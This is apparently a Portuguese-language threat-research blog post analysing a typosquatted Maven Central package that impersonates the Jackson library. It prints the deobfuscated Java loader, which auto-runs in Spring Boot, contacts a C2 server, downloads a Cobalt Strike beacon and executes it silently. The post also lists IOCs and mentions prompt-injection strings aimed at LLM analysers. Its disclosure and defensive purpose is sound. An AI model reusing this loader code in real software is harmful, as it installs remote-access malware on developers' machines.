Aikido

Primeiro Malware Sofisticado Descoberto no Maven Central via Ataque de Typosquatting em Jackson

Escrito por
Charlie Eriksen

Hoje, nossa equipe identificou um pacote malicioso (org.fasterxml.jackson.core/jackson-databind) no Maven Central se passando por uma extensão legítima da biblioteca Jackson JSON. É bastante inovador, e a primeira vez que detectamos um malware bastante sofisticado no Maven Central. Curiosamente, essa mudança de foco para o Maven ocorre enquanto outros ecossistemas, como o npm, estão ativamente fortalecendo suas defesas. Como raramente vimos ataques neste ecossistema, quisemos documentá-lo para que a comunidade em geral possa se unir e proteger o ecossistema enquanto este problema ainda está em sua fase inicial.

Os atacantes se esforçaram muito para criar um payload multiestágio, com strings de configuração criptografadas, um servidor de comando e controle remoto entregando executáveis específicos da plataforma, e múltiplas camadas de ofuscação projetadas para dificultar a análise. O typosquatting opera em dois níveis: o pacote malicioso usa o org.fasterxml.jackson.core namespace, enquanto a biblioteca legítima Jackson é publicada sob com.fasterxml.jackson.core. Isso espelha o domínio C2: fasterxml.org versus o real fasterxml.com. O .com para .org A troca é sutil o suficiente para passar por uma inspeção casual, mas é totalmente controlada pelo atacante.

Neste momento, reportamos o domínio à GoDaddy e o pacote ao Maven Central. O pacote foi removido em 1,5 horas. 

O malware em resumo

Quando abrimos o .jar arquivo, vimos esta bagunça:

Ufa, o que está acontecendo aqui? Fico tonto só de olhar!

  • Está fortemente ofuscado, como é evidente.
  • Ele contém tentativas de enganar analisadores baseados em LLM por meio de chamadas new String() com prompt injection.
  • Quando visualizado em um editor que não faz Escape de caracteres Unicode, ele mostra muito ruído.

Mas não tema, com um pouco de ajuda, podemos desofuscar e torná-lo algo muito mais legível:

package org.fasterxml.jackson.core;  // FAKE PACKAGE - impersonates Jackson library

/**
 * DEOBFUSCATED MALWARE
 * 
 * True purpose: Trojan downloader / Remote Access Tool (RAT) loader
 * 
 * This code masquerades as a legitimate Spring Boot auto-configuration
 * for the Jackson JSON library, but actually:
 *   1. Contacts a C2 server
 *   2. Downloads and executes a malicious payload
 *   3. Establishes persistence
 */
@Configuration
@ConditionalOnClass({ApplicationRunner.class})
public class JacksonSpringAutoConfiguration {

    // ============ DECRYPTED CONSTANTS ============
    
    // Encryption key (stored reversed as "SYEK_TLUAFED_FBO")
    private static final String AES_KEY = "OBF_DEFAULT_KEYS";
    
    // Secondary encryption key for payloads
    private static final String PAYLOAD_DECRYPTION_KEY = "9237527890923496";
    
    // Command & Control server URL (typosquatting fasterxml.com)
    private static final String C2_CONFIG_URL = "http://m.fasterxml.org:51211/config.txt";
    
    // Persistence marker file (disguised as IntelliJ IDEA file)
    private static final String PERSISTENCE_FILE = ".idea.pid";
    
    // Downloaded payload filename  
    private static final String PAYLOAD_FILENAME = "payload.bin";
    
    // User-Agent for HTTP requests
    private static final String USER_AGENT = "Mozilla/5.0";

    // ============ MAIN MALWARE LOGIC ============
    
    @Bean
    public ApplicationRunner autoRunOnStartup() {
        return args -> {
            executeMalware();
        };
    }
    
    private void executeMalware() {
        // Step 1: Check if already running via persistence file
        if (Files.exists(Paths.get(PERSISTENCE_FILE))) {
            System.out.println("[Check] Running, skip");
            return;
        }
        
        // Step 2: Detect operating system
        String os = detectOperatingSystem();
        
        // Step 3: Fetch payload configuration from C2 server
        String config = fetchC2Configuration();
        if (config == null) {
            System.out.println("[Error] 未能获取到当前系统的 Payload 配置");
            // Translation: "Failed to get current system's Payload configuration"
            return;
        }
        System.out.println("[Network] 从 HTTP 每一行中匹配到配置");
        // Translation: "Matched configuration from each HTTP line"
        
        // Step 4: Download payload to temp directory
        String tempDir = System.getProperty("java.io.tmpdir");
        Path payloadPath = Paths.get(tempDir, PAYLOAD_FILENAME);
        downloadPayload(config, payloadPath);
        
        // Step 5: Make payload executable on Unix systems
        if (os.equals("linux") || os.equals("mac")) {
            ProcessBuilder chmod = new ProcessBuilder("chmod", "+x", payloadPath.toString());
            chmod.start().waitFor();
        }
        
        // Step 6: Execute payload with output suppressed
        executePayload(payloadPath, os);
        
        // Step 7: Create persistence marker
        Files.createFile(Paths.get(PERSISTENCE_FILE));
    }
    
    private String detectOperatingSystem() {
        String osName = System.getProperty("os.name").toLowerCase();
        
        if (osName.contains("win")) {
            return "win";
        } else if (osName.contains("mac") || osName.contains("darwin")) {
            return "mac";  
        } else if (osName.contains("nux") || osName.contains("linux")) {
            return "linux";
        } else {
            return "unknown";
        }
    }
    
    private String fetchC2Configuration() {
        try {
            URL url = new URL(C2_CONFIG_URL);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                BufferedReader reader = new BufferedReader(
                    new InputStreamReader(conn.getInputStream())
                );
                StringBuilder config = new StringBuilder();
                String line;
                while ((line = reader.readLine()) != null) {
                    config.append(line).append("\n");
                }
                return config.toString();
            }
        } catch (Exception e) {
            // Silently fail
        }
        return null;
    }
    
    private void downloadPayload(String config, Path destination) {
        try {
            // Config format: "win|http://...\nmac|http://...\nlinux|http://..."
            // Each line is AES-ECB encrypted with PAYLOAD_DECRYPTION_KEY
            
            String os = detectOperatingSystem();
            String payloadUrl = null;
            
            // Parse each line of config to find matching OS
            for (String encryptedLine : config.split("\n")) {
                String line = decryptAES(encryptedLine.trim(), PAYLOAD_DECRYPTION_KEY);
                // Line format: "os|url" (e.g., "win|http://103.127.243.82:8000/...")
                String[] parts = line.split("\\|", 2);
                if (parts.length == 2 && parts[0].equals(os)) {
                    payloadUrl = parts[1];
                    break;
                }
            }
            
            if (payloadUrl == null) {
                return;
            }
            
            // Download payload binary
            URL url = new URL(payloadUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setRequestProperty("User-Agent", USER_AGENT);
            
            if (conn.getResponseCode() == 200) {
                try (InputStream in = conn.getInputStream()) {
                    Files.copy(in, destination, StandardCopyOption.REPLACE_EXISTING);
                }
            }
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private String decryptAES(String hexEncrypted, String key) {
        try {
            // Convert hex string to bytes
            byte[] encrypted = new byte[hexEncrypted.length() / 2];
            for (int i = 0; i < encrypted.length; i++) {
                encrypted[i] = (byte) Integer.parseInt(
                    hexEncrypted.substring(i * 2, i * 2 + 2), 16
                );
            }
            
            SecretKeySpec secretKey = new SecretKeySpec(
                key.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(encrypted);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
    
    private void executePayload(Path payload, String os) {
        try {
            ProcessBuilder pb;
            if (os.equals("win")) {
                // Execute payload, redirect stderr/stdout to NUL
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("NUL"));
                pb.redirectError(new File("NUL"));
            } else {
                // Execute payload, redirect to /dev/null  
                pb = new ProcessBuilder(payload.toString());
                pb.redirectOutput(new File("/dev/null"));
                pb.redirectError(new File("/dev/null"));
            }
            pb.start();
        } catch (Exception e) {
            // Silently fail
        }
    }
    
    private boolean isProcessRunning(String processName, String os) {
        try {
            Process p;
            if (os.equals("win")) {
                // tasklist /FI "IMAGENAME eq processName"
                p = Runtime.getRuntime().exec(new String[]{"tasklist", "/FI", 
                    "IMAGENAME eq " + processName});
            } else {
                // ps -p <pid>
                p = Runtime.getRuntime().exec(new String[]{"ps", "-p", processName});
            }
            return p.waitFor() == 0;
        } catch (Exception e) {
            return false;
        }
    }
    
    // ============ STRING DECRYPTION ============
    
    /**
     * Decrypts obfuscated strings
     * Algorithm:
     *   1. Reverse the key
     *   2. Reverse the encrypted string  
     *   3. Base64 decode
     *   4. AES/ECB decrypt
     */
    private static String decrypt(String encrypted, String key) {
        try {
            String reversedKey = new StringBuilder(key).reverse().toString();
            String reversedEncrypted = new StringBuilder(encrypted).reverse().toString();
            
            byte[] decoded = Base64.getDecoder().decode(reversedEncrypted);
            
            SecretKeySpec secretKey = new SecretKeySpec(
                reversedKey.getBytes(StandardCharsets.UTF_8), "AES"
            );
            Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
            cipher.init(Cipher.DECRYPT_MODE, secretKey);
            
            byte[] decrypted = cipher.doFinal(decoded);
            return new String(decrypted, StandardCharsets.UTF_8);
        } catch (Exception e) {
            return "";
        }
    }
}

Fluxo do malware

Aqui está uma visão geral de como o malware é executado:

Estágio 0: Infecção. Um desenvolvedor adiciona a dependência maliciosa ao seu pom.xml, acreditando ser uma extensão legítima do Jackson. O pacote usa o org.fasterxml.jackson.core namespace, o mesmo da biblioteca Jackson real, para parecer confiável.

Estágio 1: Autoexecução. Quando a aplicação Spring Boot é iniciada, o Spring procura por @Configuration classes e encontra JacksonSpringAutoConfiguration. O @ConditionalOnClass({ApplicationRunner.class}) a verificação passa (ApplicationRunner está sempre presente no Spring Boot), então o Spring registra a classe como um bean. O malware ApplicationRunner é invocado automaticamente após o carregamento do contexto da aplicação. Nenhuma chamada explícita é necessária.

Estágio 2: Verificação de persistência. O malware procura por um arquivo chamado .idea.pid no diretório de trabalho. Este nome de arquivo é escolhido deliberadamente para se misturar com os arquivos de projeto do IntelliJ IDEA. Se o arquivo existe, o malware assume que já está em execução e sai silenciosamente.

Estágio 3: Impressão digital do ambiente. O malware detecta o sistema operacional verificando System.getProperty("os.name") e comparando com win, mac/darwin, e nux/linux.

Estágio 4: Contato C2. O malware entra em contato com http://m.fasterxml[.]org:51211/config.txt, um domínio com typosquatting que imita o legítimo fasterxml.com. A resposta contém linhas criptografadas em AES, uma por plataforma suportada.

Estágio 5: Entrega do payload. Cada linha na configuração é descriptografada usando AES-ECB com uma chave hardcoded (9237527890923496). O formato é os|url, por exemplo, estes valores que encontramos ao fazer a engenharia reversa do malware:

win|http://103.127.243[.]82:8000/http/192he23/svchosts.exe

mac|http://103.127.243[.]82:8000/http/192he23/update

O malware seleciona a URL correspondente ao SO detectado e baixa o binário para o diretório temporário do sistema como payload.bin.

Etapa 6: Execução. Em sistemas Unix, o malware executa chmod +x no payload. Em seguida, ele executa o binário com stdout/stderr redirecionado para /dev/null (Unix) ou NUL (Windows) para suprimir qualquer saída. O payload do Windows é nomeado svchosts.exe, um typosquat deliberado do legítimo svchost.exe processo.

Etapa 7: Persistência. Finalmente, o malware cria o .idea.pid arquivo marcador para evitar a reexecução em reinícios subsequentes da aplicação.

O domínio

O domínio com typosquat fasterxml.org foi registrado em 17 de dezembro de 2025, apenas 8 dias antes da nossa análise. Os registros WHOIS mostram que foi registrado via GoDaddy e atualizado em 22 de dezembro, sugerindo um desenvolvimento ativo da infraestrutura maliciosa nos dias que antecederam a implantação.

O curto intervalo entre o registro do domínio e o uso ativo é um padrão comum em campanhas de malware: os atacantes preparam a infraestrutura pouco antes da implantação para minimizar a janela de detecção e blocklisting. A biblioteca legítima Jackson opera em fasterxml.com há mais de uma década, tornando a .org variante uma imitação de baixo esforço e alta recompensa.

Os binários

Recuperamos os binários e os submetemos ao VirusTotal para análise:

Linux/Mac - 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Windows - 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f

O payload para Linux/macOS é consistentemente identificado como um beacon do Cobalt Strike por praticamente todos os fornecedores de detecção. Cobalt Strike é uma ferramenta comercial de teste de penetração que oferece capacidades completas de comando e controle: acesso remoto, coleta de credenciais, movimento lateral e implantação de payload. Embora projetado para uso legítimo por equipes de red team, versões vazadas o tornaram um favorito de operadores de ransomware e grupos APT. Sua presença geralmente sinaliza adversários sofisticados com intenções que vão além da simples mineração de criptomoedas.

Oportunidades para o Maven Central proteger o ecossistema

Este ataque destaca uma oportunidade para fortalecer a forma como os registros de pacotes lidam com o namespace squatting. Outros ecossistemas já tomaram medidas para resolver este problema, e o Maven Central poderia se beneficiar de defesas semelhantes.

O problema da troca de prefixo: Este ataque explorou um ponto cego específico: trocas de prefixo no estilo TLD na convenção de namespace de domínio reverso do Java. A biblioteca legítima Jackson usa com.fasterxml.jackson.core, enquanto o pacote malicioso usou org.fasterxml.jackson.core. Isso é diretamente análogo ao typosquatting de domínio (fasterxml.com vs. fasterxml.org), mas o Maven Central parece não ter atualmente nenhum mecanismo para detectá-lo.

Este é um ataque simples, e esperamos imitadores. A técnica demonstrada aqui: a troca de com. por org. no namespace de uma biblioteca popular. Isso requer sofisticação mínima. Agora que esta abordagem foi documentada, prevemos que outros atacantes tentarão trocas de prefixo semelhantes contra outras bibliotecas de alto valor. A janela para implementar defesas é agora, antes que isso se torne um padrão generalizado.

Dada a simplicidade e eficácia deste ataque de troca de prefixo, gostaríamos de instar o Maven Central a considerar a implementação de:

  • Detecção de similaridade de prefixo. Quando um novo pacote é publicado sob org.example, verifique se com.example ou net.example já existe com um volume significativo de downloads. Se sim, sinalize para revisão. A mesma lógica deve ser aplicada inversamente e em todos os TLDs comuns (`com, org, net, io, dev`).
  • Proteção de pacotes populares. Mantenha uma lista de namespaces de alto valor (como com.fasterxml, com.google, org.apache) e exija verificação adicional para qualquer pacote publicado sob namespaces de aparência semelhante.

Compartilhamos esta análise com espírito de colaboração. O ecossistema Java tem sido um refúgio relativamente seguro contra os ataques à Supply chain que têm assolado o npm e o PyPI nos últimos anos. Medidas proativas agora podem ajudar a mantê-lo assim.

IOCs

Domínios:

  • fasterxml[.]org
  • m.fasterxml[.]org

Endereços IP:

  • 103.127.243[.]82

URLs:

  • http://m.fasterxml[.]org:51211/config.txt
  • http://103.127.243[.]82:8000/http/192he23/svchosts.exe
  • http://103.127.243[.]82:8000/http/192he23/update

Binários:

  • Payload do Windows (svchosts.exe): 8bce95ebfb895537fec243e069d7193980361de9d916339906b11a14ffded94f
  • Payload do macOS (update): 702161756dfd150ad3c214fbf97ce98fdc960ea7b3970b5300702ed8c953cafd

Compartilhar:

https://www.aikido.dev/blog/maven-central-jackson-typosquatting-malware

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.